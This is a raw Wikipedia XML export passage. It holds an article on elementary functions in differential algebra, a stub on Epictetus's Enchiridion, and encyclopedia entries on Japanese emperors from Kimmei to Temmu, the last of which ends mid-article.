In [[mathematics]], an '''elementary function''' is a [[function (mathematics)|function]] built from a finite number of [[exponential function|exponential]]s, [[logarithm]]s, [[constant]]s, one [[variable]], and [[root (mathematics)|roots]] of equations through [[function composition|composition]] and combinations using the four [[arithmetic|elementary operations]] (+ &amp;minus; &amp;times; &amp;divide;).  The [[trigonometric function]]s and their inverses are assumed to be included in the elementary functions by using  [[complex number|complex]] variables 
&lt;!-- inline math: attempt to HTMLize a square root  --&gt;
(''i'' = &amp;radic;&lt;span style=&quot;text-decoration:overline&quot;&gt;-1&lt;/span&gt;)
&lt;!-- inline math --&gt;
and the [[Trigonometric function#Relationship to exponential function| relations]] between the trigonometric functions and the exponential and logarithm functions.

The roots of equations are the functions implicitly defined as solving a polynomial equation with constant coefficients.  For polynomials of degree four and smaller there are explicit formulas for the roots (the formulas are elementary functions), but even for higher degree polynomials the [[fundamental theorem of algebra]] and the [[implicit function theorem]] assures the existence of a function that returns each one of the roots of a polynomial equation.  

Examples of elementary functions include:

: &lt;math&gt;\frac{e^{\tan(x)}}{1-x^2}\sin\left(\sqrt{1+\ln^2 x}\,\right)&lt;/math&gt;

and

: &lt;math&gt; \,\ln(-x^2). &lt;/math&gt;

The domain of this last function does not include any real number. An example of a function that is ''not'' elementary is the [[error function]]

: &lt;math&gt;\mathrm{erf}(x)=\frac{2}{\sqrt{\pi}}\int_0^x e^{-t^2}\,dt,&lt;/math&gt; 

a fact that cannot be seen directly from the definition of elementary function but can be proven using the [[Risch algorithm]].

Elementary functions were introduced by [[Joseph Liouville]] in a series of papers from [[1833]] to [[1841]].  An algebraic treatment of elementary functions was started by [[Joseph Fels Ritt]] in the [[1930s]].

==Differential algebra==

The mathematical definition of an '''elementary function''' is done in the context of [[differential algebra]].  A differential algebra is an algebra with the extra operation of derivation (algebraic version of differentiation).  Using the derivation operation new equations can be written and their solutions used in [[field extension|extensions]] of the algebra.  By starting with the [[field (mathematics)|field]] of [[rational function]]s, two special types of transcendental extensions (the logarithm and the exponential) can be added to the field building a tower containing elementary functions.

A '''differential field''' ''F'' is a field ''F''&lt;sub&gt;0&lt;/sub&gt; (rational functions over the [[rational number|rationals]] '''Q''' for example) together with a derivation map ''u''&amp;nbsp;&amp;rarr;&amp;nbsp;&amp;part;''u''.  (Here &amp;part;''u'' is a new function. Sometimes the notation ''u''&amp;nbsp;&amp;prime; is used.) The derivation captures the properties of differentiation, so that for any two elements of the base field, the derivation is linear

: &lt;math&gt;\partial (u + v) = \partial u + \partial v &lt;/math&gt;

and satisfies the [[product rule|Leibniz' product rule]]

: &lt;math&gt;\partial(u\cdot v)=\partial u\cdot v+u\cdot\partial v\,.&lt;/math&gt;

An element ''h''  is a constant if ''&amp;part;h&amp;nbsp;=&amp;nbsp;0''.   If the base field is over the rationals, care must be taken when extending the field to add the needed transcendental constants.

A function ''u'' of a differential extension ''F''[''u''] of a differential field ''F'' is an '''elementary function''' over ''F'' if the function ''u''
* is algebraic over ''F'', or
* is an '''exponential''', that is, &amp;part;''u'' = ''u'' &amp;part;''a''  for ''a'' &amp;isin; ''F'', or
* is a '''logarithm''', that is, &amp;part;''u'' = &amp;part;''a''&amp;nbsp;/&amp;nbsp;a for ''a'' &amp;isin; ''F''.

==Reference==

{{cite journal | author=Maxwell Rosenlicht | title=Integration in finite terms | journal=American Mathematical Monthly | year= 1972 | volume=79 | pages=963-972}}

[[Category:Differential algebra]]
[[Category:Computer algebra]]</text>
    </revision>
  </page>
  <page>
    <title>Enchiridion of Epictetus</title>
    <id>10413</id>
    <revision>
      <id>39442505</id>
      <timestamp>2006-02-13T03:57:26Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">'''The Enchiridion''', or ''handbook'' of [[Epictetus]], was written in [[135]] A.D.  

The text (translated by [[Elizabeth Carter]] circa 1750), which is brief, can be found at http://classics.mit.edu/Epictetus/epicench.html.

{{book-stub}}

[[Category:Latin texts]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kimmei</title>
    <id>10415</id>
    <revision>
      <id>41790462</id>
      <timestamp>2006-03-01T19:48:13Z</timestamp>
      <contributor>
        <username>DopefishJustin</username>
        <id>5399</id>
      </contributor>
      <minor />
      <comment>fix link, italicize source</comment>
      <text xml:space="preserve">'''Emperor Kimmei''' (欽明天皇 ''Kinmei Tennō'') ([[509]]-[[571]]) was the 29th  [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession, and the first to whom contemporary historiography assigns clear dates. His father was [[Emperor Keitai]] and his mother was [[Emperor Ninken]]'s daughter, Princess Tashiraka (手白香皇女). He was also known by the name Emperor Amehara Oshiharaki Hironiwa (天国排開広庭尊). Upon the death of his older brother [[Emperor Senka]] in [[539]], Emperor Kimmei acceded to the throne and moved his court to Shikishima no Kanazashi Palace (磯城嶋金刺宮) in [[Yamato Province|Yamato]]. [[Mononobe no Okoshi]] and [[Nakatomi no Kanamura]] were both appointed [[muraji|Ōmuraji]], and [[Soga no Iname]] was appointed [[omi|Ōomi]]. Although the imperial court did not move to the [[Asuka, Nara|Asuka]] region of Japan until [[592]], Emperor Kimmei's rule is considered by some to be the beginning of the [[Asuka period]] of [[Yamato period|Yamato]] Japan, particularly those who associate the Asuka period primarily with the introduction of [[Buddhism]] to Japan.

According to the [[Nihon Shoki]], Emperor Kimmei received a bronze statue of [[Buddha]] as a gift from the king of [[Baekje|Paekche]] Song Myong Wang (聖明王, ''Seimei Ō'') in [[552]]. (However, according to the ''Jōgū Shōtoku Hōō Teisetsu'', Buddhism was introduced in [[538]].) Although Buddhism was already practiced in Japan by many [[Korea]]n immigrants by this time, this episode is widely regarded as the official introduction of Buddhism to the country.

With the introduction of a new religion to the court, a deep rift developed between the [[Mononobe clan]], who supported the worship of Japan's traditional deities, and the Soga clan, who supported the adoption of Buddhism. According to one famous episode, shortly after the Soga's began worshipping the new Buddha statue, a plague broke out, which the Mononobe's promptly attributed to a curse by Japan's traditional deities as punishment for worshipping the foreign god. Mononobe no Okoshi and his men promptly threw the statue into a river in [[Naniwa]] and burned the temple that the Soga's had built to hold it.

Because of several temporal discrepancies in the account of Emperor Kimmei in the Nihon Shoki, some believe that his was actually a rival court to that of Emperors [[Emperor Ankan|Ankan]] and [[Emperor Senka|Senka]]. According to the Nihon Shoki, Emperor Kimmei ruled until his death in [[571]] and was buried in the Hinokuma no Sakai Burial Mound (桧隈坂合陵) but a stronger theory holds that he was actually buried in the Misemaruyama Tumulus (見瀬丸山古墳) located in Kashihara City (橿原市).

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Senka]] | after=[[Emperor Bidatsu]] | years=539-571}}
{{end box}}

[[Category:509 births|Kimmei]]
[[Category:571 deaths|Kimmei]]
[[Category:Japanese emperors|Kimmei]]

[[de:Kinmei]]
[[it:Kinmei imperatore del Giappone]]
[[ja:欽明天皇]]
[[zh-cn:&amp;#38054;&amp;#26126;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Bidatsu</title>
    <id>10416</id>
    <revision>
      <id>37819937</id>
      <timestamp>2006-02-02T08:54:41Z</timestamp>
      <contributor>
        <ip>193.165.145.158</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Bidatsu''' (敏達天皇 ''Bidatsu Tennō'') ([[538]]- [[September 14]], [[585]]) was the 30th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He was the second son of [[Emperor Kimmei]] by his consort Iwahime, a daughter of [[Emperor Senka]]. According to ''[[Nihonshoki]]'' his name was Nunakurafutotamashiki; supposedly this was his posthumous name as well as Bidatsu.

According to ''[[Nihonshoki]]'', he had six consorts and twenty-four children. He was appointed crown prince by his father Kimmei; after Kimmei died, Bidatsu ascended to the throne within a few days. During his reign, he had two empresses. The first empress, Hirohime, died in the fifth year of his reign. To replace her, he elevated one of his consorts, Princess Nukatabe, to the rank of empress. Nukatabe was his half-sister by their father Kimmei. Later she ascended to the throne and today known as [[Empress Suiko]].

He ruled during a tense period between the [[Soga]] and the [[Mononobe]] regarding acceptance of [[Buddhism]] in Japan. In external affairs, he sought to re-establish Japanese influence in [[Korea]], but was largely unsuccessful;  according to ''Nihonshoki'', his court established relations with [[Baekje]] and [[Silla]].

Though he had many children, none of them would ever become emperor.  He was succeeded first by one of his brothers, [[Emperor Yomei|Emperor Yōmei]], then by another, [[Emperor Sushun|Emperor Sushun]], and then Empress Suiko, his sister and wife, before his grandson, [[Emperor Jomei]], eventually took the throne.

{{japan-bio-stub}}

{{start box}}
{{succession box|before=[[Emperor Kimmei]]|after=[[Emperor Yomei|Emperor Yōmei]]|title=[[List of Emperors of Japan|Emperor of Japan]]|years=572-585}}
{{end box}}

[[Category:538 births|Bidatsu]]
[[Category:585 deaths|Bidatsu]]
[[Category:Japanese emperors|Bidatsu]]

[[cs:Bidacu]]
[[de:Bidatsu]]
[[fr:Empereur Bidatsu]]
[[ja:&amp;#25935;&amp;#36948;&amp;#22825;&amp;#30343;]]
[[zh-cn:敏达天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Yōmei</title>
    <id>10417</id>
    <revision>
      <id>31355821</id>
      <timestamp>2005-12-14T18:41:08Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">[[Image:yomeitenno.jpg|frame|Emperor Yōmei]]
'''Emperor Yōmei''' (用明天皇 ''Yōmei Tennnō'') (died [[587]]) was the 31st [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He ruled from [[585]] until his death in [[587]].

He was called Tachibana no Toyohi no Mikoto (橘豊日尊) in the ''[[Nihonshoki]]''. He was also referred to as Prince Ōe (大兄皇子 ''Ōe no Miko'', literally ''crown prince'') and Prince Ikebe (池辺皇子 ''Ikebe no Miko'') after the place he lived. He acceded to the throne after the death of his half brother, [[Emperor Bidatsu]].

Emperor Yōmei was the fourth prince of [[Emperor Kimmei]] and his mother was [[Soga no Kitashihime]], a daughter of [[Soga no Iname]]. In [[586]], Emperor Yōmei took his half-sister Princess Hashihoto no Anahobe (穴穂部間人皇女, ''Hashihito no Anahobe no Himemiko''), whose mother was another of Iname's daughters, as his consort. Princess Hashihito no Anahobe bore him five sons, including [[Prince Shotoku]], who would later become crown prince and regent to [[Empress Suiko]]. In addition, the Nihon Shoki records that Emperor Yōmei also had three concubines.

The influential courtiers from Emperor Bidatsu's reign, [[Mononobe no Moriya]] and [[Soga no Umako]], both remained in their positions during the reign of Emperor Yōmei. Umako was the son of Iname, and therefore Emperor Yōmei's cousin as well.

Because of the brevity of his reign, Emperor Yōmei wasn't responsible for any radical changes in policy, but his support of [[Buddhism]] created tension with supporters of [[Shinto]]ism who opposed the introduction of Buddhism. Moriya, the most influential supporter of Shintoism, conspired with Emperor Yōmei's brother, Prince Anahobe, and after Emperor Yomei's death they made an abortive attempt to seize the throne. Although Emperor Yōmei is reported to have died from illness, this incident and the brevity of his reign have led some to speculate that he was actually assassinated by Moriya and Prince Anahobe.

{{start box}}
{{succession box | before=[[Emperor Bidatsu]] | after=[[Emperor Sushun]] | title=[[List of Emperors of Japan|Emperor of Japan]]|years=585-587}}
{{end box}}

[[Category:587 deaths|Yomei]]
[[Category:Japanese emperors|Yomei]]

[[de:Yōmei]]
[[fr:Yōmei]]
[[ja:用明天皇]]
[[zh:用明天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Sushun</title>
    <id>10418</id>
    <revision>
      <id>37450037</id>
      <timestamp>2006-01-31T02:10:59Z</timestamp>
      <contributor>
        <username>Carlossuarez46</username>
        <id>23407</id>
      </contributor>
      <comment>+cat: assassinated kings</comment>
      <text xml:space="preserve">'''Emperor Sushun''' (崇峻天皇 ''Sushun Tennō'') was the 32nd [[Emperors of Japan|imperial ruler]] of [[Japan]] ([[587]]-[[592]]), according to the traditional order of succession. He was the twelfth son of the [[Emperor Kimmei]] by Oane no Kimi, a daughter of [[Soga no Iname]] who was the chief of the [[Soga]] clan. His name at birth was Prince Hatsusebe (長谷部皇子 ''Hatsusebe no Miko'').

He succeeded his half brother, [[Emperor Yomei|Emperor Yōmei]] in [[587]] with the support of the Soga clan and [[Empress Suiko]], his half sister and the widow of [[Emperor Bidatsu]]. The [[Mononobe clan]] allied with [[Prince Anahobe]], another son of Kimmei, and attempted to have him installed as emperor, but failed. The head of the [[Soga clan]], [[Soga no Umako]], killed [[Mononobe no Moriya]], the head of the Mononobe clan, which led to its decline.

He was assassinated in [[592]] after losing the support of the [[Soga clan]].

{{start box}}
{{succession box | before=[[Emperor Yomei|Emperor Yōmei]] | after=[[Empress Suiko]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=587-592}}
{{end box}}

[[Category:592 deaths|Sushun]]
[[Category:Japanese emperors|Sushun]]
[[Category:Assassinated kings|Sushun]]

[[de:Sushun]]
[[fr:Sushun]]
[[it:Sushun imperatore del Giappone]]
[[ja:&amp;#23815;&amp;#23803;&amp;#22825;&amp;#30343;]]
[[zh-cn:&amp;#23815;&amp;#23803;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Empress Suiko</title>
    <id>10419</id>
    <revision>
      <id>38718301</id>
      <timestamp>2006-02-08T04:03:30Z</timestamp>
      <contributor>
        <username>Emperorbma</username>
        <id>12403</id>
      </contributor>
      <comment>+cat Japanese women</comment>
      <text xml:space="preserve">'''Empress Suiko''' (推古天皇 ''Suiko Tennō'') ([[554]]-[[April 15]], [[628]]{{an|Japanese_dates1 1}})) was the 33rd [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession, and the first known woman to hold this position. She had several names including Princess Nukatabe and (possibly posthumous) Toyomike Kashikiya. She was the third daughter of [[Emperor Kimmei]], and her mother was [[Soga no Iname|Soga no Iname's]] daughter, [[Soga no Kitashihime]]. She was a consort to her half-brother [[Emperor Bidatsu]], but after Bidatsu's first wife died she became his official wife and was given the title Ōkisaki (official wife of the emperor). She bore two sons and three daughters.

After Bidatsu's death, Suiko's brother, [[Emperor Yomei|Emperor Yōmei]], came to power for a brief period of about two years before dying of illness. Upon Yōmei's death, a power struggle arose between the [[Soga]] clan and the [[Mononobe clan]], with the Sogas supporting [[Emperor Sushun|Prince Hatsusebe]] and the Mononobes supporting [[Prince Anahobe]]. The Sogas prevailed and Prince Hatsusebe acceded to the throne as [[Emperor Sushun]] in [[587]]. However, [[Soga no Umako]] quickly began to fear Sushun's growing resentment of the power of the Soga clan and Umako had him assassinated in [[592]]. When asked to accede to the throne to fill the power vacuum that then developed, Suiko became the first of several examples in Japanese history where a woman was chosen to accede to the throne to avert a power struggle. [[Prince Shotoku|Prince Shōtoku]] was appointed regent the following year and, although political power during Suiko's reign is widely viewed as having been wielded by Prince Shōtoku and Soga no Umako, Suiko was far from powerless. For example, her refusal to grant Soga no Umako's request that he be granted the imperial territory known as Kazuraki no Agata in [[624]] is widely cited as evidence of her independence from his influence. Some of the many achievements under Empress Suiko's reign include the official recognition of Buddhism by the issuance of the Flourishing Three Treasures Edict in [[594]], the opening of relations with the [[Sui Dynasty|Sui]] court in [[600]], the adoption of the [[Twelve Level Cap and Rank System]] in [[603]] and the adoption of the [[Seventeen-article constitution]] in [[604]]. Suiko was also one of the first [[Buddhism|Buddhist]] monarchs in Japan and had taken the vows of a [[nun]] shortly before becoming empress.

At a time when imperial succession was generally determined by clan leaders, rather than the emperor, Suiko left only vague indications of succession to two candidates while on her deathbed. One, [[Emperor Jomei|Prince Tamura]], was a grandson of Emperor Bidatsu and was supported by the main line of Sogas, including [[Soga no Emishi]]. The other, [[Prince Yamashiro]], was a son of Prince Shōtoku and had the support of some lesser members of the Soga clan. After a brief struggle within the Soga clan in which one of Prince Yamashiro's main supporters was killed, Prince Tamura was chosen and he acceded to the throne as [[Emperor Jomei]] in [[629]].

==Notes==
#[[April 15]], [[628]] corresponds to the Seventh Day of the Third Month of 628 ([[Sexagenary cycle|Boshi]]) of the traditional [[lunisolar calendar]] used in Japan until [[1873]].

{{start box}}
{{succession box | before=[[Emperor Sushun]] | after=[[Emperor Jomei]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=593-628}}
{{end box}}

[[Category:554 births|Suiko]]
[[Category:628 deaths|Suiko]]
[[Category:Japanese emperors|Suiko]]
[[Category:Japanese women|Suiko]]
[[Category:Empresses|Suiko]]

[[de:Suiko]]
[[it:Suiko imperatrice del Giappone]]
[[ja:&amp;#25512;&amp;#21476;&amp;#22825;&amp;#30343;]]
[[zh-cn:&amp;#25512;&amp;#21476;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Empress Kogyoku</title>
    <id>10421</id>
    <revision>
      <id>38718178</id>
      <timestamp>2006-02-08T04:02:26Z</timestamp>
      <contributor>
        <username>Emperorbma</username>
        <id>12403</id>
      </contributor>
      <comment>+cat Japanese women</comment>
      <text xml:space="preserve">'''Empress Kōgyoku''' (皇極天皇 ''Kōgyoku Tennō''), also '''Empress Saimei''' (斉明天皇 ''Saimei Tennō'') (594&amp;ndash;[[August 24]], [[661]]{{an|Japanese_dates1 1}}) was the 35th and 37th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. From [[February 18]], [[642]]{{an|Japanese_dates2 2}} she ruled as '''Kōgyoku''', but abdicated after the assassination of [[Soga no Iruka]] and gave up the throne to her brother [[Emperor Kotoku|Emperor Kōtoku]] on [[July 12]], [[645]]{{an|Japanese_dates3 3}}. After Kōtoku died on [[November 24]], [[654]]{{an|Japanese_dates4 4}}, she reacceded to the throne as '''Empress Saimei''' on [[February 14]], [[655]]{{an|Japanese_dates5 5}}, and ruled under that name until her death in 661. She was a great-granddaughter of [[Emperor Bidatsu]]. Her birth name was '''Princess Takara.'''

She was the wife and Empress Consort of [[Emperor Jomei]]. They had three children: Prince Naka no Ōe ([[Emperor Tenji]]), Prince Ōama ([[Emperor Temmu]]), and Princess Hashihito.

During her first reign the [[Soga clan]] seized power. Her son Naka no Ōe planned a coup d'etat and slew [[Soga no Iruka]] at the court in front of her throne.  The Empress, shocked by this incident, abdicated the throne.

After Emperor Kōtoku died, though Naka no Ōe was the crown prince, he had his mother reascend the throne, and remained as the crown prince under his mother. He, and not his mother, however, led the politics of Japan. In the fifth year of her second reign, [[Baekje|Paekche]] in [[Korea]] was destroyed in 660. Japan assisted Paekche loyals to the attempt of retrieving former Paekche territory. Early in 661, Saimei started from the capital in [[Yamato province]] in [[Honshu]] with both an army and a navy and crossed the [[Inland Sea of Japan]] from east to west. The empress stayed in Ishiyu Temporary Palace in [[Iyo province]], today [[Dogo|Dōgo]] spa. In May she arrived at Asakura Palace in the north part of [[Tsukushi province]] in [[Kyushu]], today a part of [[Fukuoka prefecture]]. The allied army of Japan and Paekche was prepared the war against [[Silla]] but on July 24 (Japanese calendar), 661 she died in the Asakura Palace before the army departed to [[Korea]]. In October her body was brought from Kyushu by sea to Port Naniwa-zu (today [[Osaka, Osaka|Osaka city]]). Her funeral ceremony was held in early November. 

After her death, her son Naka no Ōe ascended to the throne in 663, after the battle against Silla and the [[Sui Dynasty]].

==Notes==
#[[August 24]], [[661]] corresponds to the Twenty-fourth Day of the Seventh Month of 661 ([[Sexagenary cycle|shinyū]]) of the traditional [[lunisolar calendar]] used in Japan until 1873.
#[[February 18]], [[642]] corresponds to the Fifteenth Day of the First Month of 642 ([[Sexagenary cycle|jin'in]]).
#[[July 12]], [[645]] corresponds to the Fourteenth Day of the Sixth Month of 645 ([[Sexagenary cycle|isshi]]).
#[[November 24]], [[654]] corresponds to the Tenth Day of the Tenth Month of 654 ([[Sexagenary cycle|kōin]]).
#[[February 14]], [[655]] corresponds to the Third Day of the First Month of 655 ([[Sexagenary cycle|itsubō]]).

{{start box}}
{{succession box | before=[[Emperor Jomei]] | after=[[Emperor Kotoku|Emperor Kōtoku]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=642-645}}
{{succession box | before=[[Emperor Kotoku|Emperor Kōtoku]] | after=[[Emperor Tenji]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=655-661}}
{{end box}}

[[Category:594 births|Kogyoku]]
[[Category:661 deaths|Kogyoku]]
[[Category:Women in war|Kogyuku]]
[[Category:Japanese emperors|Kogyoku]]
[[Category:Japanese women|Kogyoku]]
[[Category:Empresses|Kogyoku]]

[[de:K&amp;#333;gyoku]]
[[it:Kogyoku imperatrice del Giappone]]
[[ja:&amp;#30343;&amp;#26997;&amp;#22825;&amp;#30343;]]
[[zh:&amp;#30343;&amp;#26497;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kotoku</title>
    <id>10422</id>
    <revision>
      <id>36787784</id>
      <timestamp>2006-01-26T13:46:58Z</timestamp>
      <contributor>
        <username>LordAmeth</username>
        <id>146726</id>
      </contributor>
      <comment>new capital</comment>
      <text xml:space="preserve">'''Emperor Kōtoku''' (孝徳天皇 ''Kōtoku Tennō'') ([[596]]? - [[November 24]], [[654]]){{an|Japanese_dates1 1}} was the 36th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He ruled from [[July 12]], [[645]]{{an|Japanese_dates2 2}} until his death in [[654]]. His name in birth was Prince Karu. He enacted the [[Taika Reform Edicts]].

He was a descendant of [[Emperor Bidatsu]]. He was a son of Chinu no &amp;#333;kimi (Prince Chinu) by Kibihime no &amp;#333;kimi (Princess Kibihime). [[Empress Kogyoku|Empress Kōgyoku]] was his elder sister from same parents. Chinu was a son of Prince Oshisaka hikohito no &amp;#333;e whose father was the Emperor Bidatsu. He had at least three consorts including his Empress, Hashihito no Himemiko (Princess Hashihito), the daughter of [[Emperor Jomei]] and his sister Empress Kōgyoku.

In 645 he ascended to the throne two days after Prince [[Emperor Tenji|Naka no Ōe]] assassinated [[Soga no Iruka]] in the court of Kōgyoku. Kōgyoku abdicated in favor of his son and crown prince, Naka no Ōe, but Naka no Ōe insisted Kōtoku should ascend to the throne instead.

According to ''[[Nihonshoki]]'' he was of gentle personality and was favor in [[Buddhism]]. In [[645]] he created a new city in the area called [[Osaka|Naniwa]], and moved the capital from [[Yamato province]] to this new city (see [[Nara, Nara|Nara]]). The new capital had a sea port and was good for foreign trade and diplomatic activities. In 653 Kotoku sent an embassy to [[Sui dynasty]], but not all ships could reach China because of wrecking.

Naka no Ōe held the rank of crown prince and was the de facto leader of the government. In [[653]] Naka no Ōe proposed to move the capital again to Yamato province. Kotoku denied. Naka no Ōe ignored the emperor's policy and moved to the former province. Many courtiers and loyals in the court including Empress Hashihito followed him. Kotoku was left in the palace. In the next year he died because of illness. After his death, Naka no Ōe wouldn't ascend to the throne soon but his mother and the sister of Kotoku, the former Empress Kogyoku ascended to the throne under another name, Saimei.

==Notes==
==Notes==
#[[November 24]], [[654]] corresponds to the Tenth Day of the Tenth Month of [[654]] ([[Sexagenary cycle|kōin]]) of the traditional [[lunisolar calendar]] used in Japan until [[1873]].
#[[July 12]], [[645]] corresponds to the Fourteenth Day of the Sixth Month of [[645]] ([[Sexagenary cycle|isshi]]).

{{start box}}
{{succession box | before=[[Empress Kogyoku|Empress Kōgyoku]] | after=[[Empress Kogyoku|Empress Saimei]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=645-654}}
{{end box}}

[[Category:597 births|Kotoku]]
[[Category:654 deaths|Kotoku]]
[[Category:Japanese emperors|Kotoku]]

[[de:Kōtoku]]
[[ja:孝徳天皇]]
[[zh:孝德天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Empress Saimei of Japan</title>
    <id>10423</id>
    <revision>
      <id>21618742</id>
      <timestamp>2005-08-23T02:59:30Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Empress Kogyoku]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Tenji</title>
    <id>10424</id>
    <revision>
      <id>37820104</id>
      <timestamp>2006-02-02T08:56:54Z</timestamp>
      <contributor>
        <ip>193.165.145.158</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Hyakuninisshu 001.jpg|thumb|{{PAGENAME}} (From Ogura Hyakunin Isshu)]]
[[Image:TenchiTennoRyo.jpg|thumb|200px|right|Tomb of Emperor Tenji, [[Kyoto]]]]

'''Emperor Tenji''' (天智天皇 ''Tenji Tennō'') ([[626]]-[[672]]), also known as '''Naka no Ōe''' and '''Emperor Tenchi''', was the 38th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He was the son of [[Emperor Jomei]] but was preceded as ruler by his mother [[Empress Kogyoku|Empress Saimei]].

As Prince, Naka no Ōe played a crucial role in ending the near-total control the [[Soga clan]] had over the Imperial family. In [[644]], seeing the Soga continue to gain power, he conspired with [[Nakatomi no Kamatari]] and [[Soga no Kurayamada no Ishikawa no Maro]] to assassinate [[Soga no Iruka]] in what has come to be known as the [[Itsushi Incident]]. Although the assassination did not go exactly as planned, Iruka was killed, and his father and predecessor, [[Soga no Emishi]], committed suicide soon after. Following the Itsushi Incident, Iruka's adherents dispersed largely without a fight, and Naka no Ōe was named heir apparent. He also married the daughter of his ally Soga no Kurayamada, thus ensuring that a significant portion of the Soga clan's power was on his side.

Naka no Ōe reigned as Emperor Tenji from [[661]] to [[672]]. In [[662]], he compiled the first Japanese legal code known to modern historians.

Following his death in [[672]], there ensued a succession dispute between his fourteen children (many by different mothers). In the end, he was succeeded by his son, '''Prince Otomo''', also known as [[Emperor Kobun]], then by Tenji's brother '''Prince Oama''', also known as [[Emperor Temmu]].  Almost one hundred years after Tenji's death, the throne passed to his grandson [[Emperor Konin|Emperor Kōnin]].

{{start box}}
{{succession box | before=[[Empress Kogyoku|Empress Saimei]] | after=[[Emperor Kobun|Emperor Kōbun]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=661-672}}
{{end box}}

[[Category:626 births|Tenji]]
[[Category:672 deaths|Tenji]]
[[Category:Japanese emperors|Tenji]]

[[cs:Tendži]]
[[de:Tenji]]
[[ko:덴지 천황]]
[[it:Tenji imperatore del Giappone]]
[[he:טנג'י]]
[[nl:Tenji]]
[[ja:天智天皇]]
[[zh:天智天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kobun</title>
    <id>10425</id>
    <revision>
      <id>37820316</id>
      <timestamp>2006-02-02T08:59:39Z</timestamp>
      <contributor>
        <ip>193.165.145.158</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Kōbun''' (弘文天皇 ''Kōbun Tennō''), also known as Prince Otomo ([[648]] - [[672]]) was the 39th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He reigned from the twelfth month fifth day, 671 to the seventh month 23rd day, 672

{{japan-bio-stub}}

{{start box}}
{{succession box | before=[[Emperor Tenji]] | after=[[Emperor Temmu]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=671-672}}
{{end box}}

[[Category:648 births|Kobun]]
[[Category:672 deaths|Kobun]]
[[Category:Japanese emperors|Kobun]]

[[cs:Kóbun]]
[[de:Kōbun]]
[[eo:Kobun]]
[[nl:Kobun]]
[[ja:弘文天皇]]
[[zh:弘文天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Temmu</title>
    <id>10426</id>
    <revision>
      <id>40865191</id>
      <timestamp>2006-02-23T14:51:44Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <comment>Undoing my own incorrect edit...</comment>
      <text xml:space="preserve">'''Emperor Temmu''' (天武天皇 ''Temmu Tennō'') (c. [[631]] - [[October 1]], [[686]]) was the 40th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He ruled from [[672]] until his death in [[686]]. He was the youngest son of [[Emperor Jomei]] and [[Empress Kogyoku|Empress Saimei]], and the younger brother of the [[Emperor Tenji]]. His name at birth was '''Prince Ōama'''. He was succeeded by [[Empress Jito|Empress Jitō]], who was both his niece and his wife.

== Genealogy ==
During the reign of his elder brother, Emperor Tenji, Temmu was forced to marry several of Tenji's daughters because Tenji thought those marriages would help to strengthen political ties between the two brothers. The nieces he married included  Princess Unonosarara, today known as the Empress Jitō, and Princess Ōta. Temmu also had other consorts whose fathers were influential courtiers.

Temmu had many children, including his crown prince [[Kusakabe]] by Princess Unonosarara, Prince [[Prince Otsu|Ōtsu]] by Princess Ōta (whose father also was Tenji), and [[Prince Toneri of Japan|Prince Toneri]], the editor of ''[[Nihonshoki]]'' and father of [[Emperor Junnin]]. Through Prince Kusakabe, Temmu had two emperors and two empresses among his descendents. [[Empress Koken|Empress Shōtoku]] was the last of these imperial rulers from his lineage.

== Life ==
The first and only document on his life was ''[[Nihonshoki]]''. However, it was edited by his son, Prince Toneri, and the work was written during the reigns of his wife and children, causing one to suspect its accuracy and impartiality.

Temmu's father died while he was young, and he grew up mainly under the guidance of Empress Saimei.  He was not expected to gain the throne, because his brother Tenji was the crown prince, being the older son of their mother, the reigning empress.

After Tenji ascended to the throne, Temmu was appointed crown prince. This was because Tenji had no appropriate heir among his sons at that time, as none of their mothers was of a rank high enough to give the necessary political support. Tenji was suspicious that Temmu might be so ambitious  as to attempt to take the throne, and felt the necessity to strengthen his allegiance through the marriages mentioned above. 

